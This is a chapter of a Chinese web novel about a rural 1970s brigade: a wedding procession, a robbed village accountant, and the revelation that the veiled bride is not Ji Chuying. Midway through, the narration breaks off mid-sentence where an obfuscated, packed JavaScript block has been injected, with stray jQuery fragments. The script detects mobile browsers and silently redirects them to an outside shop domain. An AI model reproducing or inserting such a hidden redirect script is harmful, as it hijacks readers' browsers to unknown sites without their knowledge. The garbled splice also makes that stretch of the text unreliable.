门外,朱大勇赶着租来的牛车,穿得人模狗样,头发梳得一丝不苟,还抹了头油,油光发亮。

    头发越光滑,显得脸上的癞子越醒目。

    跟癞ha蟆穿西装一样,又正式又磕碜。

    朱大勇在槐树生产队人缘不好,没人愿意跟他扯上关系,所以他这个接亲队伍只有他自己和他花钱雇的一个吹唢呐的人,赶着一辆牛车过来。

    高亢的唢呐声被季海龙制止:“别吹了!”

    他昨天上工,听说前几天于会计去交接账的时候,被人截了道儿,钱和车都被抢走了,人也被打了,在县医院危重病房住了好几天,现在还没醒呢!

    被抢走的钱,是土墩集体准备用来给砖厂买小型制砖机的钱,因为于会计没有按时到县机械厂交钱,那边把电话打到公社邮电局询问,土墩这才知道此事,当天晚上在路边深草里找到奄奄一息的于会计紧急送医。

    卫建国大怒,跟县公安局的同志走访了周边两三个村,都没有找到一点线索。

    这个年代,没有监控,没有目击者,连罪犯是男是女、多大年纪都不知道,想在这么多生产队里找人,无异于大海捞针。现在唯一的希望,就是于会计赶快醒来,县公安局的同志根据他的口述画出画像,拿着画像去各个生产队对比,找出抢劫犯。

    这个时候,还有什么心思吹吹打打。

    唢呐声停了。

    朱大勇神采奕奕,迈进季家大门。

    看见凌素云,漫不经心喊了声“妈”。

    “初萤呢?”

    凌素云听到这声妈,眼眶就湿了,抹了把眼泪:“在屋里呢。”

    她默默地叹口气,闺女早晚都要出嫁的,早晚都要出嫁的,都是这样的,谁不是这么过来的呢。

    朱大勇散漫地朝凌素云鞠了一躬:“妈,我能把初萤接走了吗?时候不早了。”

    凌素云心里难受,又六神无主,这时候,家里的主心骨怎么也不见了,她左顾右盼,屋里屋外、前前后后都没见季老实的影子。

    她想,季老实虽然平日里不看重初萤,这真要嫁闺女,也是舍不得她的,不晓得躲哪里难受去了,唉!

    季老实不出来作主,她也不敢说让朱大勇把人接走。

    朱大勇催促:“回去还得半天呢。”

    凌素云看向大儿子,“海龙,你爹不在,你说这……”

    季海龙淡淡地说:“那还等什么?耽误事!”

    爹不在,他当家。

    凌素云喊来季海涛,哽咽着:“海涛,把你姐背上车子吧。”

    季初萤靠坐在床头木箱子上,盖着红盖头。

    季海涛使出吃奶的劲儿,才把人背起来,嘴里嫌弃地嘟囔:“季初萤,你吃得跟个猪一样!叫你少吃一点少吃一点!”

    季初萤没说话,软趴趴的伏在他背上。

    季海涛心里冒出来一丝丝酸胀的感觉。他想,呸,才不是舍不得,他怎么会舍不得季初萤出嫁。

    他语气生硬:“以后,有人欺负你,要长嘴,回来说。”

    季初萤还是没理他。

    季海涛自己也觉得说这种话很难为情,口是心非地说:“算了算了,欺负你你活该。”

    季初萤依旧闷不作声,安静得出奇。

    季海涛被泰山压顶一般,脚步沉重地把人背到牛车旁。

    车斗里铺着鲜艳的大红被子,暄软极了。

    季海涛小心地把人放到车斗里,结果季初萤坐不住似的,嘭一下趴在了红被子上,红盖头把脑袋蒙得结结实实。

    她心里肯定很难受,可能趴在车斗里哭呢。

    季海涛有点不忍心看了,鼻腔痒痒的,别过头去。

    凌素云把她做的两床陪嫁被子放在车上,还有一个嫁妆箱子,里面放着些枕皮被套,还有凌素云偷偷塞的8块钱。

    “啪啪啪——”

    鞭炮劈里啪啦的在大门口炸开,炸得一地红色碎纸屑。

    朱大勇对凌素云说:“妈,我们走了。”

    “嗯。”凌素云撇过脸去。

    隔壁的张春华和霍驰在门口站着,牛车缓缓从他们面前经过,张春华泪眼婆娑,哭得跟她嫁女儿似的。

    牛车后面,季海龙跟莫桂兰骑自行车跟着送亲。

    唢呐声响起来,明明是喜庆的曲子,听得人心里闷闷的疼。

    牛车渐行渐远,直至从土墩生产队的路口消失不见。

    一路上,唢呐声断断续续。

    季海龙只顾着骑车,看都没看季初萤一眼。

    莫桂兰倒是小心地看了好几眼,她本不想跟着来,总觉得跟季初萤沾上,一准没有好事。但季初萤没有姐妹,家里只有她这一个嫂子,没人能来送。

    牛车走的慢,到槐树生产队,已经快傍晚了。

    朱大勇那边没有爹娘,没有亲戚,所以也没办酒席,到家,就简简单单放了一挂鞭炮。

    槐树生产队的人已经下工,围在朱大勇门口看新娘子。

    一开始他们还在议论,争先恐后地围过来看,是哪个瞎了眼的傻子,放着正经的好男人不嫁,要嫁给朱大勇这个劳改犯,待看到牛车后面跟着的人,顿时愣住了。

    季海龙?

    那不是凌开发的外甥吗?凌开发的外甥来送亲?

    众人一想,就想通了——季海龙有个如花似玉的妹妹!

    凌素云回娘家的时候,带着她来过几次,长得那叫一个俊!

    朱大勇这种人渣,竟然能娶到那么漂亮的丫头,真他妈不公平!

    众人挤着,往牛车上看。

    只见牛车上躺着一个挺显壮的女人,穿着一身红衣裳,从头到脚,盖得严严实实。

    一动不动。

    朱大勇赶人:“走走走走!去去去去!”

    看什么看!

    牛车赶进院子,朱大勇大门一关,村民都被关在门外。

    季海龙把新娘子背下来,好重啊!压得他脸都红了。

    一双手从他两肩垂下来,晃晃悠悠,又黑又粗。

    季海龙纳了闷,季初萤干活是挺多的,手都粗糙成这样了?

    不过他向来不把这些放心上,费了九牛二虎之力,背着人放进朱大勇房里。

    莫桂兰这个当嫂子的,在季初萤耳边,按照凌素云交代的流程,磕磕巴巴地说一些夫妻同心、齐心协力过日子的话,但季初萤不理她,倒床上就是躺,一点都不矜持。

    朱大勇找邻居炒了几个菜,依习俗,留送亲的季海龙莫桂兰吃饭。

    朱大勇一沾酒就控制不住,喝得烂醉,还是季海龙劝他今天新婚要节制,朱大勇才醉眼迷蒙,把两人送出朱家。

    出了槐树生产队,季海龙和莫桂兰都没说话,默默地骑车回家。

    过了好久

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695271|205878||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,莫桂兰忽然喃喃道:“海龙,咱就把她一个人留在那里了……”

    听见这话,季海龙愣了一下,说:“你不是最烦她了。”

    莫桂兰没说话,心里竟然有点难受。

    两人回到土墩的时候,天都黑了,土墩正在开大会。

    卫建国面色威严,眼下乌青,“社员同志们!现有一件十分严重!十分恶劣的事件要通知大伙儿!”

    卫建国是傍晚从县医院赶回来的。

    于会计还在重症室,他被发现的时候身上就穿着一条裤衩子,脑袋受到重击,只剩半口气了,在县医院躺了几天,一直没醒。

    卫建国跟书记王正正商议后,决定公布这个恶性案件,希望有知情村民能提供线索。

    “七天前,于岱书同志在去往县城机械厂送账的时候,被歹徒袭击了!”

    “啊?”

    村民议论纷纷,交头接耳。

    “我说呢!好多天不见于会计的影子了!”

    “是被打死了吗?”

    “那会计的位子空缺了,能让我干吗?”

    “嘿!你想屁吃啊!”

    卫建国皱眉:“安静!于会计带着咱们集体的财产,买制砖机的800块钱!”

    “啊!!!”

    村民瞬间炸锅了。

    “这可不行!那是咱们大伙儿的!”

    “必须抓住歹徒!”

    “对!”

    “800块钱,那是一笔巨款啊!”

    “别吵!安静!”卫建国下了通知,“大伙儿好好回想一下前几天有没有可疑人员进出咱们队,七天前的早上,有进城赶集办事的同志,也想一想路上有没有遇见举止怪异的人……”

    村民纷纷摇头。

    霍驰却在听到于会计的名字时浑身一震,他想起来了!

    那辆自行车!

    是于会计的!

    半个月前,于会计的儿子推过来找他修的。

    他给紧了链子,又换了一根新辐条。

    霍驰忙找到卫建国,说明情况。

    卫建国一听,激动坏了:“老王,你马上联系公社的公安特派员同志,带着治保会一起,去朱大勇家里捉人!”

    王正正若有所思:“这个朱大勇,是不是今天跟季初萤结婚的那个?”

    霍驰点头。

    王正正低声说:“老卫,我觉得,咱们先去把季家人控制住。”

    卫建国一想,有道理!

    先去季家把人控制住,以防他们暗中勾结报信,让朱大勇跑了。

    卫建国带着几个民兵,赶去了季家。

    这边散了会,季家人刚走到家。

    凌素云忧心忡忡地说:“海龙,海涛,一下午没见你爹了,他不会有什么事吧?”

    话刚说完,卫建国带着人来了。

    卫建国一看少了个人,沉下脸问:“季老实去哪了?”

    凌素云的腿一下就软了,“队长,出、出什么事了?”

    “嘎吱!”

    东南小屋的门开了。

    季初萤大摇大摆地走出来:“哎哟,这么多人啊?”

    季海涛瞪着眼珠子大叫:“季初萤!?”

    季海龙和莫桂兰的下巴,咔嚓一下掉下来,两人拼命揉眼睛。

    这是季初萤,

    那朱大勇家里的那个,是谁?